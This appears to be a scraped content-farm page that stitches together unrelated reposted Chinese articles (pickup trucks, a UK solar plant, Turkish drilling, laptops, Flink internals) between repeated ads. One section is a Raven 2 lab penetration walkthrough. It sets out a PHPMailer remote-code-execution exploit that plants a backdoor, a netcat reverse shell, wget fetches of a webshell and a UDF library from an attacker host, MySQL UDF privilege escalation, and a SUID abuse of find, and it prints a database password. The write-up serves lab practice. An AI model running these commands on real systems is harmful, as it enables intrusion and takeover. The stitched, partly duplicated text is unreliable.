真男人就應該開這種車越野、家用、動力全能的汽車!_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

7L V8自然吸氣發動機,這向來裝載在超級跑車上的利器如今卻裝載到豐田坦途上,一腳油門下去,V8發動機的咆哮直達心靈,重重地衝擊你的內心,甚至讓你這種可怕的聲浪融為一體,這是一種會上癮的行為,不過在此之前你要考慮一下剛才那一腳油門值多少錢,畢竟這是一輛“耗油老虎”,百公里油耗基本是20L左右的了,油門重點隨時突破20L。

福特F150

如果說起福特F150的話可能沒有多少人會認識,但是如果說是福特猛禽的話,相信很多人都會知道,車如其名真真是一輛“猛禽”,兇猛十分,雖然以前那個大排量V8自然吸氣發動機被現在的3.5T V6 渦輪增壓發動機所代替,但是依舊有着強悍的動力以及有着更低的油耗,依然的魅力十足,只是在野外咆哮時聲音沒有以往那麼澎湃。而它在野外可謂是一方霸主,強悍的四驅系統,加上多種駕駛模式征服野外還不是一件輕而易舉的事情?另外貨倉使用了鋁合金材料,使得它在眾多皮卡中重量上佔了不少優勢,雖然被雪佛蘭黑了一把硬度。

豐田坦途

5.7L V8自然吸氣發動機,這向來裝載在超級跑車上的利器如今卻裝載到豐田坦途上,一腳油門下去,V8發動機的咆哮直達心靈,重重地衝擊你的內心,甚至讓你這種可怕的聲浪融為一體,

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

這是一種會上癮的行為,不過在此之前你要考慮一下剛才那一腳油門值多少錢,畢竟這是一輛“耗油老虎”,百公里油耗基本是20L左右的了,油門重點隨時突破20L。不過帶來的動力表現又是非常可怕的,6.87s的百公里加速時間,要知道這是一輛2.7噸的怪獸,是一般家用轎車的兩倍重量,在外面奔跑起來有着一種極強的氣勢以及震懾力,這后視鏡看到它還是乖乖讓路吧,說不定它要去征服哪個無人區,而且即使是一輛5.7L V8的“農用机械”,它依然保持着豐田的低故障率,起碼不用擔心發生故障的問題,不過貨倉就是加個備用油箱而已。

道奇 Ram

大排量V8發動機這是應該說是美國人玩得最溜,所以這和福特猛禽同出一個國家的道奇Ram同樣性能味十足,而且始終保留5.7L V8發動機的動力總成,畢竟作為一台充滿美國氣息的高端皮卡,氣勢是不可以失掉的。只是在性能方面是弱於福特猛禽以及豐田坦途這些車型,就差了在離地間隙上,不過內飾方面的粗糙做工也是“很美國范”,所以不少人還是選擇福特猛禽或者是豐田坦途,雖然高配有着可調節式懸挂,但是價格也由50萬左右升到了70萬,着實不划算。

這些高端皮卡都有着非常強大的性能,能給以你力量感、征服感以及安全感,要是不能打動你的話着實有點難,而且由於“農用机械”的商品屬性又或者是平行進口車的身份使得他們不到50萬就可以買到了,相對它們的性能來說,真的是性價比很高。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

聯合國氣候峰會COP26因武漢肺炎延期 專家:把握轉型低碳經濟良機_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

是否解決環境破壞隱憂?英國最大太陽能廠 Cleve Hill 亮綠燈_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

摘錄自2020年5月26日科技新報報導

Cleve Hill 是由英國 Hive Energy 與德國 Wirsol 合作推出的太陽能電廠計畫,預計斥資 4.5 億英鎊,占地 900 英畝、約有 88萬 片太陽能,發電容量預計超過 350MW,每年除了可供應 9萬1000 戶家庭用電,為穩固電網與儲存電力,也會搭載 350MWh 儲能系統 Graveney 。

不過開發案難免衝擊環境,而 Cleve Hill 遇到的難題非同小可,尤其太陽能電廠的面積與 6 座足球場相當,又離肯特(Kent)濕地、生物多樣性區域非常近,案場勢必會影響小辮鴴、黑雁、歐金斑鴴與澤鵟等鳥類,以及蝙蝠生態。

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

為了降低對環境的影響,根據 Cleve Hill 在 5 月初提出的新計畫,將會設立 138 公頃的棲息地管理區(Habitat Management Area),保護當地的自然資源,太陽能電場與撒克遜海岸小徑(Saxon Shore Way)中間也會有 63 公尺的緩衝區。

目前這座電廠因為容量大於 50MW,為國家重大基礎設施專案(NSIP)之一,該公司已經在 2018 年夏季申請開發許可令(DCO),似乎有機會對此案亮綠燈,預計會在28日收到開發許可。一旦收到獲准,預計會在 2021 年開始建設 Cleve Hill ,並期望在 2023 年前運轉發電。

能源議題
能源轉型
國際新聞
英國
太陽光電
鹽灘
濕地保育
水鳥
緩衝區
新能源

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

吹皺東地中海一池春水後 土耳其將在黑海鑽探石油_網頁設計公司

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

搬家費用:依消費者運送距離、搬運樓層、有無電梯、步行距離、特殊地形、超重物品等計價因素後,評估每車次單

摘錄自2020年5月15日中央社報導

土耳其能源部長唐梅茲今(14日)表示,征服者號鑽井船自7月開始將首度前往黑海進行鑽探。他並宣示會繼續依照計畫進行東地中海能源鑽探的決心。唐梅茲(Fatih Donmez)今天接受安納杜魯新聞社(Anadolu Agency)專訪時作以上表示。

東地中海發現離岸能源後,已經成為能源爭奪的引爆點。1974年賽島希臘裔曾試圖發動政變與希臘合併,土耳其以保護土裔為由出兵占領賽島北部1/3土地,並於1983年扶植土裔成立北賽,但國際僅承認希裔控制的南賽。

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

節能減碳愛地球是景泰電動車的理念,是創立景泰電動車行的初衷,滿意態度更是服務客戶的最高品質,我們的成長來自於你的推薦。

土耳其是唯一承認北賽的國家。南賽當局認為土耳其的鑽探作業違反國際法,並且強調對於相關油氣資源的決定屬於南賽主權的範疇。土耳其則不接受南賽政府與周邊國家達成的專屬經濟區協議。歐洲聯盟去年曾對土耳其「展開非法鑽探活動」進行制裁,展現對歐盟成員國南賽的堅定支持。

生活環境
能源議題
能源轉型
國際新聞
土耳其
石油探鑽
黑海
石油

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

透過選單樣式的調整、圖片的縮放比例、文字的放大及段落的排版對應來給使用者最佳的瀏覽體驗,所以不用擔心有手機版網站兩個後台的問題,而視覺效果也是透過我們前端設計師優秀的空間比例設計,不會因為畫面變大變小而影響到整體視覺的美感。

AMD 推出號稱 2021 最強筆電處理器 Ryzen 5000 系列_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

AMD 在今日 CES 2021 的主題演講中發表了旗下最新 Ryzen 5000 筆電處理器,陣容中絕大多數都是採用該公司的 7nm「Zen 3 」架構,而會中主講人更是將該系列稱為 「有史以來效能最強大的筆電處理器」,H 與 U 兩個系列面向截然不同、各有需求的用戶而生。

AMD 推出號稱 2021 最強筆電處理器 Ryzen 5000 系列

與前一代產品同樣,5000 處理器群中分成兩個類別,分別為針對遊戲與創作者筆電而生的 H 系列與適用於輕便攜帶筆電的 U 系列,在兩個類別中包含了 Ryzen 3、Ryzen 5、Ryzen 7 和 Ryzen 9 四種等級,分別對應於 Intel 的 Core i3、Core i5、Core i7 和 Core i9 的簡化版本。除了新的 HX 系列外,H 系咧中還保留了在 4000 系列中看到的 H 與 HS 後綴型號。

U 系列主打 8 核心、16 執行緒的 Ryzen 7 5800U,具備 1.9GHz 時脈(Boots to 4.4 GHz),AMD 宣稱該處理器可提供輕薄筆電中最快速的生產效率。根據該公司提供的基準測試,在 PCMark 10 上的效能比 Intel Core i7-1165G7 高出 1.23 倍,包括在 Excel、Microsoft Edge 在內的文書辦公應用測試中皆可超越對手,不過在 PowerPoint 上兩者不分軒輊,Word 的表現上則是 Intel 大勝。AMD 還表示 5800U 可提供長達 17.5 小時的續航力,最長可擁有 21 小時影片播放。

H 系列中最強悍的莫過於 Ryzen 9 5980HS,同樣具備有 8 核心與 16 個執行緒,時脈為 3.0GHz(Boots to 4.8GHz),AMD 宣稱這是你可以找到最快速的行動處理器了。根據官方數據,Ryzen 9 5980HS 在 Cinebench R20 上在單執行緒效能達到 601(Intel 為 514)和多執行緒效能為 4349 (Intel Core i9 為 3892)都領先於 Intel Core i9-10980HK,並且從兩方面都擊敗了較新的 Core i7-1185G7。H系列中最新產品是 HX 系列處理器,AMD 將其定位為專業遊戲等級,並表示 Ryzen 9 5900HX 的 TDP 為45W +,將為 2021 年最佳遊戲筆電們提供強大的處理能力。根據官方提供的基準測試,與 Core i9-10980HK 相比,這款處理器在 Cinebench R20 的單執行緒測試方面勝過約 14%;在測試整體 CPU 效能的 Passmark P10 上高出 37%;在評估圖形效能的 3DMark Fire Strike Physics 測試則超出21%。 

在會中,AMD 表示今年將會有超過 150 款配備 Ryzen 5000 系列處理器的筆電推出,Lenovo、Gigabyte、Acer、Razer 等 OEM 廠商均表態支持,而 AMD CEO Dr. Lisa Su 更表示希望能在 2 月看到首部筆電上市。

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

全系列產品規格

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

ROG 遊戲筆電 Zephyrus、Strix、Flow 與 TUF 全陣容更新,輕薄、強效一次擁有_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

CES 2021 開展,Asus 旗下專司遊戲與電競類產品的 ROG 這回趁勢推出不少產品,其中包含各系列的多款筆電,不管是重兵器等級或是輕薄硬漢,陣容相當精采,要外型有外型,內在更是威力驚人,讓你隨身擁有高行動力,無論工作、娛樂,一機在手什麼都行。

ROG 遊戲筆電全陣容更新,輕薄、強效應有盡有

ROG Zephyrus G14 / G15 / Duo
新一代的西風之神來了!在這一代中,Asus 以 AMD 最新處理器與與 Nvidia 最新顯卡的搭配來對 Zephyrus G14 / G15 進行一系列的更新。除前述兩部分的提升外,兩款機型皆提供新的顯示器選項,G14 現在附帶 144Hz 顯示器,另外還加上 2K 120Hz 的版本,Asus 表示能夠涵蓋整個 DCI-P3 色域;G15 則配備了 165Hz QHD 顯示器,同樣擁有 100% DCI-P3 色域。

在上蓋的 AniMe Matrix LED 像素 LED 顯示部分還增加了新的動畫效果,用戶可以將虛擬寵物設定在上面與自己進行互動(雖然旁人看你逗弄筆電會覺得很詭異)。

Zephyrus G15 在設計上有一些另外的改良,師法 G14 受歡迎的 ErgoLift 轉軸,在翻蓋後可以將鍵盤稍微抬高以提升散熱效果,觸控板部分也比前一代大了 20%,還將麥克風從過去的 2 個增加到 3 個,另外在上蓋 AniMe Matrix LED 部分則換成了可依照光線角度不同閃閃發亮的幻彩反光設計。。

兩款機型皆配備有改良過的喇叭,內建 Dolby Atmos 軟體與雙向 AI 消噪功能,另外這兩款機型都擁有 90Wh 的電池容量。Zephyrus G14 / G15 售價並未公布, 預計會在 2021 年第一季上市。

在去年首度推出的雙螢幕旗艦款 Zephyrus Duo 今年也有更新,採用 AMD 處理器(最高支援 Ryzen 9 5900HS 及 Nvidia GeForce RTX 3080),螢幕也採用 4K / 120 Hz 的 IPS 面板,外觀改為黑色,沒有打開蓋子前真是要多低調有多低調。


ROG Strix 2o21

這回 Strix 共推出有兩個不同的系列,分別為 Strix G 與 Strix Scar,共四種不同型號。
Strix Scar 以黑色為主色,再搭配橡膠碳灰、黑色、銀色與桃紅的可客製轉軸蓋,A 件和上抗指紋的亮面 ROG 像素圖騰, C 件局部半透處理,在機身側面飾以相當醒目的 RGB 光條,上蓋更免不了象徵品牌的發光 Logo,機身底部採用多個大型腳墊,真正做到防滑穩定的效果。以隱藏式 Air Arm 取代傳統轉軸設計,在闔上筆電時不會直接暴露在外。

Strix G 則以霧面與 Pixel 像素圖騰搭配的鋁合金 A 件和 C 件,共有黑、、灰兩色,搭配黑、橘兩色轉軸蓋,上蓋的 ROG Logo 為鏡面設計,同樣在機身側面配置 RGB 光條。

除標準版本外,還有一款桃紅色特別版,在上蓋以各種 ROG 產品原色的特色圖紋,加上桃紅色轉軸蓋、ROG Logo,WASD 按鍵也是用特別的桃紅色點綴,當然還有桃紅色的大型腳墊,同捆隨附桃紅色大型滑鼠墊。

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

這兩款機型在鍵盤部分採用 Asus 自有光軸機械鍵盤,而玻璃觸控板部分也加大了 85%,可切換為獨立數字按鍵模式,另外在方向鍵部分也加大,讓大家按得更順手,連接埠主要配置於機身上側,外接各種裝置也不卡手。在這一代的螢幕佔比相較於去年更加提升,極窄邊框副與它 85% 的螢幕佔比,體型卻比去年的機型更小。硬體配備方面採用最新 AMD 處理器、Nvidia GrForce 獨立顯卡,特殊的靜音散熱設計以最低的噪音來維持系統的穩定,螢幕更新率最高可達 165Hz。配備 90Wr 電池,續航最高可達 12.7 小時,支援快速充電技術,從 0 充到 50% 電力僅需 30 分鐘,搭配隨附的 100W USB-C  PD 充電器更是事半功倍。

ROG Flow X13、XG Mobile
Flow X13 是 ROG 系列中首度出現的 2in1 翻轉筆電,鎂合金機身上蓋呼應品名以具流動感的深淺線條始知看起來別具質感,機身可依照個人需求 360 度翻轉,在上蓋還有金屬 ROG 銘牌畫龍點睛。厚度僅有 15.8mm,重量只有 1.3Kg,輕薄好帶卻又不犧牲高效能。上覆康寧大猩猩玻璃的 13.4 吋觸控螢幕搭配極窄邊框,以 16:10 的顯示比例,為你帶來更好的視覺效果。採用最新 AMD Ryzen 9 8 核心處理器,Nvidia GeForce 獨立顯卡,記憶體最高可達 32GB LPDDR4X 4266MHz (雙通道),儲存容量最高可至 1TB M2 NVMe PCIe 3.0 SSD。支援快速充電技術,可在 30 分鐘內將設備電力從 0 充至 50%

XG Mobile 是一款採用 PCIe Gen 3 的 EGPU,承襲 Flow 的流動線條設計,從正面 ROG 鏤空中可見紅色燈光若隱若現,在機背部分配備有支架,以確保良好的空氣流動散熱效果,內建 280W 充電變壓,重量 1kg,厚度僅 29mm,在機身上配置有相當豐富的連接埠,可供你隨需求擴充外部裝置。

ASUS TUF Dash
TUF 系列以強韌、輕薄便攜與強效為主軸,這回的新機承襲這些因素,以更讓人驚豔的樣貌登場。ASUS TUF Dash 通過 MIL-STD 軍規認證,設計簡潔,視覺上相當時髦,深灰、月白兩種機身配色經典耐看,19.9mm 的厚度,重量只有 2.0Kg,有別於一般強效遊戲筆電帶來的厚重感。IPS 螢幕擁有 240Hz 的高更新率與迅捷反應速度,視覺效果超順暢。擁有藍色背光靜音鍵盤,可承受 2 千萬次敲擊,在 WASD 按鍵部分還重點突出,讓你玩遊戲時手指定位一目了然。

這款機型為全球首款搭載第 11 代 Intel H35 系列處理器的筆電,也將會搭載最新的 Nvidia 獨立顯卡。在記憶體與 SSD 部分因應使用者需求採易於升級的設計,擁有更多未來擴展空間。內部採用 5 根散熱管加上低噪音自我清潔冷卻風扇系統,散熱速度快,維持高負載運行時的系統穩定性。支援高速傳輸的最新 Thunderbolt 4 與 WiFi 6 連接,以及 USB-C 100W PD 充電,搭載最新快充技術,30 分鐘即可充至 50% 電力。

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

全球首款配備 HDMI 2.1 的 32 吋 4K 144Hz 電競螢幕 ROG Swift PG32UQ 發表_網頁設計公司

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

節能減碳愛地球是景泰電動車的理念,是創立景泰電動車行的初衷,滿意態度更是服務客戶的最高品質,我們的成長來自於你的推薦。

對遊戲玩家來說,除了系統、主機之外,螢幕也是重中之重,除了觀乎視覺享受,更能左右你的遊戲成績。ROG 今日(1/13)發表了首款支援 HDMI 2.1 的 32 吋 4K 144Hz 電競螢幕 ROG Swift PG32UQ ,擁有足夠的頻寬,無論與電腦或家用主機連皆使用,都能擁有比其他電競螢幕更好的視覺體驗。

全球首款配備 HDMI 2.1 的 32 吋 4K 144Hz 電競螢幕 ROG Swift PG32UQ 發表

ROG Swift PG32UQ 配備 4K 144Hz 4K IPS 面板,反應時間僅有 1ms;支援 HDR 600,亮度峰值可達到 600cd/m2,色彩方面經過原廠調校,可呈現 100% sRGB 與 98% DCI-P3 色域範圍,另外支援 NVIDIA G-Sync、Overdrive 與 ELMB Sync。

在螢幕後方提供了 DisplayPort 1.4 與 2 個 HDMI 2.1 訊號輸入連接埠。只要你的訊號輸入設備能夠支援,透過 DisplayPort 1.4 連接可以使該螢幕在 PC 上以 144Hz 更新率顯示 4K 影像,Asus 說明,該功能主要運用一種稱為 DSC 的訊號壓縮技術,可對 UHD 的訊號進行壓縮並且不會降低影像品質。 HDMI 2.1 部分則提供了 VRR 更新率同步、自動低延遲模式與 4K@120Hz 等,因為頻寬夠大,可以與 PC、Xbox Series X 和 PS5 相容,並且能夠確實以 120fps 的速度來呈現 4K 高解析度。

雖然上市日期與售價不明,但以已經上市的 Acer Nitro XV28 這款擁有 4K 144Hz IPS 顯示器的價格來評估,售價不太可能會低於 899 美元,如果想要入手,還要多存點錢。不過在會中也提到接著正在規劃 ROG STRIX XG43UQ 與 TUF GAMING VG28UQ 兩款不同尺寸的 4K 電競螢幕,預期應該都會支援 HDMI 2.1,倒是可以期待一下。

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

搬家費用:依消費者運送距離、搬運樓層、有無電梯、步行距離、特殊地形、超重物品等計價因素後,評估每車次單

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

透過選單樣式的調整、圖片的縮放比例、文字的放大及段落的排版對應來給使用者最佳的瀏覽體驗,所以不用擔心有手機版網站兩個後台的問題,而視覺效果也是透過我們前端設計師優秀的空間比例設計,不會因為畫面變大變小而影響到整體視覺的美感。

Raven 2 靶機滲透_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

前言

近幾天比較閑,在上周也閑着無聊跑去盒子挖了一周的洞。這周又開始不知道幹些啥了,所以就找個靶機來玩玩。

Raven 2 靶機滲透

搭建完環境后,發現並沒有登錄賬號和密碼,使用御劍高速掃描,先掃描機器的ip和端口,看看有沒有啥能利用到的。

發現了192.168.27.136 ip 並且80端口和22端口是開啟的,首先先從80端口,嘗試 來嘗試掃描目錄。

掃描目錄時,發現了/vendor/目錄並且有個wordpress 這時候就可以來嘗試一下wp的漏洞了,直接上wpscan 來掃描,沒有就放棄。

連接超時!!! 果斷放棄!!!

但是作為一個年輕小伙子怎麼能說放棄,要堅持!!![手動狗頭][手動狗頭]

翻找一下剛剛的目錄看看還能不能找到啥東西,當我點開/vendor/目錄的時候,發現存在一個目錄遍歷漏洞。

點開readme.md 發現是個PHPMailer

由於以前也沒見過,上百度查了一下才知道是個發送电子郵件的函數包。

去百度查找了一下 居然有命令執行漏洞。

為了方便,直接就在kali裏面的漏洞庫去查找exp

searchsploit phpmailer

這裡有好幾個exp,但是也不能一個一個去試,利用條件不一樣,還得去查找的他版本。
在我開啟vendor/version文件的時候,直接就显示了版本

確定版本后就可以直接下載exp了,

searchsploit -m 40974.py

首先查看一下代碼。

這裏的garget 和socket的connect的ip需要修改還有需要修改的是email字典後面的路徑,這個是寫入地址的絕對路徑。

那麼我們還需要查找他的絕對路徑。

http://192.168.27.136/vendor/PATH

文件裏面查找到了路徑,而且拿下了一個flag。

這裏並不打算去拿flag,而是直接拿權限[手動滑稽][手動滑稽]。

現在就可以開始來改我們的exp了

這裏把target改成了

http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞,所以地址得帶上這個頁面。

在運行exp的時候,py爆了個錯誤,說我的編碼有錯誤,我立馬在頭部加了一個utf-8的默認編碼方式,但是依然不行,肯定是這個工具啟動提示的時候,輸出了特殊字符所以才會這樣,把它刪掉就好了[手動滑稽][手動滑稽]。

這裏直接就執行成功,我們去訪問contact.php就會生成一個backdoor.php,訪問后可以直接反彈shell了
kali啟動一個nc監聽

nc -lvp 4444

訪問backdoor.php 反彈成功

nc 模式的shell不支持su交互,使用py進入到偽終端

python -c “import pty;pty.spawn(‘/bin/bash’)”

輸入whoami發現,是個www的權限,權限比較低,還需要進行提權的操作,先來查看一下開放的端口

netstat -ano

發現他的3306端口是開放的,mysql 5.6以下的默認安裝為system權限或者是root權限。這裏嘗試使用udf提權,先來翻找他的mysql密碼,
一般網站需要對數據庫進行查詢操作的話都是需要連接數據庫的,基本上都會去包含數據庫的連接文件,而數據庫連接文件一般命名為config.inc.php,config.php。
這裏就來找一下,進入wordpress目錄看到wp-config.php來查看一下。

翻找到了root賬號的密碼為:

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

R@v3nSecurity

然後就可以嘗試去udf提權,但是我這嫌nc比較麻煩,所以還是寫入一個一句話木馬。

echo “

寫入的時候發現post被過濾掉了,後來嘗試get和requsts也是一樣。

那麼就直接換個思路,直接讓他去請求遠程的文件進行下載

放在服務器上面的時候,不能一腳本格式進行上傳,不然腳本會直接運行,將他命名為cmd.txt文件,然後搭建臨時web服務

php -S 0.0.0.0:88 -t /root

使用php啟動web服務 設置根目錄為root

wget http://192.168.3.68:88/cmd.txt

請求文件

mv cmd.txt cmd.php
把文件改名為php後綴,然後使用蟻劍進行連接。

連接成功后,使用管理數據功能,進行mysql連接,查詢mysql版本信息。

這裏還有幾個注意事項,在mysql 4.1版本前任何的dll文件的函數都能導入到mysql裏面去讓mysql調用,
mysql 4.1-5.0 版本中,對註冊的dll位置做了限制,創建函數時候對應的dll不能包含斜杠或者反斜杠,
不能是絕對路徑,所以會將dll導出到systm32目錄下,去繞過這個限制。
在mysql5.1版本后,創建函數的dll只能放在mysql的plugin目錄下,也就是插件目錄

使用mysql語句來查看plugin目錄位置

show variables like ‘%plugin%’;

現在我們還得下載一個linux版本的udf

searchsploit udf

searchsploit -m 1518.c

從漏洞庫把udf下載下來后,是個c文件還得使用gcc進行編譯后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

編譯完成后,使用wget遠程下載

wget http://192.168.3.68:88/udf.so

數據庫創建表:

create table nice(line blob);

表中插入udf.so的數據

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后,再使用sql語句從nice表中導出數據到plugin目錄下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

導出完成后,這裏就可以直接創建一個函數,來進行執行命令了

create function do_system returns integer soname ‘udf.so’;

創建完成后可以查詢是否創建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

提權成功。

cat flag4.txt

[手動狗頭][手動狗頭]flag真香

結尾

最近這感冒了,很難受,幹啥都沒精力,我想我還是需要妹子來溫暖我的心

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

[源碼解析]為什麼mapPartition比map更高效_貨運

※評比南投搬家公司費用收費行情懶人包大公開

搬家價格與搬家費用透明合理,不亂收費。本公司提供下列三種搬家計費方案,由資深專業組長到府估價,替客戶量身規劃選擇最經濟節省的計費方式

[源碼解析]為什麼mapPartition比map更高效

目錄

  • [源碼解析]為什麼mapPartition比map更高效
    • 0x00 摘要
    • 0x01 map vs mapPartition
      • 1.1 map
      • 1.2 mapPartition
      • 1.3 異同
    • 0x02 代碼
    • 0x03 Flink的傳輸機制
      • 3.1 傳輸機制概述
      • 3.2 遠程通信
      • 3.3 TaskManager進程內傳輸
      • 3.4 源碼分析
    • 0x04 runtime
      • 4.1 Driver
      • 4.2 MapDriver
      • 4.3 MapPartitionDriver
      • 4.4 效率區別
    • 0x05 優化和ChainedMapDriver
    • 0x06 總結
    • 0x07 參考

0x00 摘要

自從函數式編程和響應式編程逐漸進入到程序員的生活之後,map函數作為其中一個重要算子也為大家所熟知,無論是前端web開發,手機開發還是後端服務器開發,都很難逃過它的手心。而在大數據領域中又往往可以見到另外一個算子mapPartition的身影。在性能調優中,經常會被建議盡量用 mappartition 操作去替代 map 操作。本文將從Flink源碼和示例入手,為大家解析為什麼mapPartition比map更高效。

0x01 map vs mapPartition

1.1 map

Map的作用是將數據流上每個元素轉換為另外的元素,比如data.map { x => x.toInt }。它把數組流中的每一個值,使用所提供的函數執行一遍,一一對應。得到與元素個數相同的數組流。然後返回這個新數據流。

1.2 mapPartition

MapPartition的作用是單個函數調用并行分區,比如data.mapPartition { in => in map { (_, 1) } }。該函數將分區作為“迭代器”,可以產生任意數量的結果。每個分區中的元素數量取決於并行度和以前的operations。

1.3 異同

其實,兩者完成的業務操作是一樣的,本質上都是將數據流上每個元素轉換為另外的元素。

區別主要在兩點。

從邏輯實現來講

  • map邏輯實現簡單,就是在函數中簡單一一轉換,map函數的輸入和輸入都是單個元素。
  • mapPartition相對複雜,函數的輸入有兩個,一般格式為 void mapPartition(Iterable<T> values, Collector<O> out) 。其中values是需要映射轉換的所有記錄,out是用來發送結果的collector。具體返回什麼,如何操作out來返回結果,則完全依賴於業務邏輯。

從調用次數來說

  • 數據有多少個元素,map就會被調用多少次。
  • 數據有多少分區,mapPartition就會被調用多少次。

為什麼MapPartition有這麼高效呢,下面我們將具體論證。

0x02 代碼

首先我們給出示例代碼,從下文中我們可以看出,map就是簡單的轉換,而mapPartition則不但要做轉換,程序員還需要手動操作如何返回結果:

public class IteratePi {

    public static void main(String[] args) throws Exception {
        final ExecutionEnvironment env=ExecutionEnvironment.getExecutionEnvironment();
        //迭代次數
        int iterativeNum=10;
        DataSet<Integer> wordList = env.fromElements(1, 2, 3);
      
        IterativeDataSet<Integer> iterativeDataSet=wordList.iterate(iterativeNum);
        DataSet<Integer> mapResult=iterativeDataSet
          			.map(new MapFunction<Integer, Integer>() {
            @Override
            public Integer map(Integer value) throws Exception {
                value += 1;
                return value;
            }
        });
        //迭代結束的條件
        DataSet<Integer> result=iterativeDataSet.closeWith(mapResult);
        result.print();

        MapPartitionOperator<Integer, Integer> mapPartitionResult = iterativeDataSet
                .mapPartition(new MapPartitionFunction<Integer, Integer>() {
            @Override
            public void mapPartition(Iterable<Integer> values, Collector<Integer> out) {
                for (Integer value : values) {
                    // 這裏需要程序員自行決定如何返回,即調用collect操作。
                    out.collect(value + 2);
                }
            }                                                                                                                           					}
        );
        //迭代結束的條件
        DataSet<Integer> partitionResult=iterativeDataSet.closeWith(mapPartitionResult);
        partitionResult.print();
    }
}

0x03 Flink的傳輸機制

世界上很少有沒有來由的愛,也少見免費的午餐。mapPartition之所以高效,其所依賴的基礎就是Flink的傳輸機制。所以我們下面就講解下為什麼。

大家都知道,Spark是用微批處理來模擬流處理,就是說,spark還是一批一批的傳輸和處理數據,所以我們就能理解mapPartition的機制就是基於這一批數據做統一處理。這樣確實可以高效。

但是Flink號稱是純流,即Flink是每來一個輸入record,就進行一次業務處理,然後返回給下游算子。

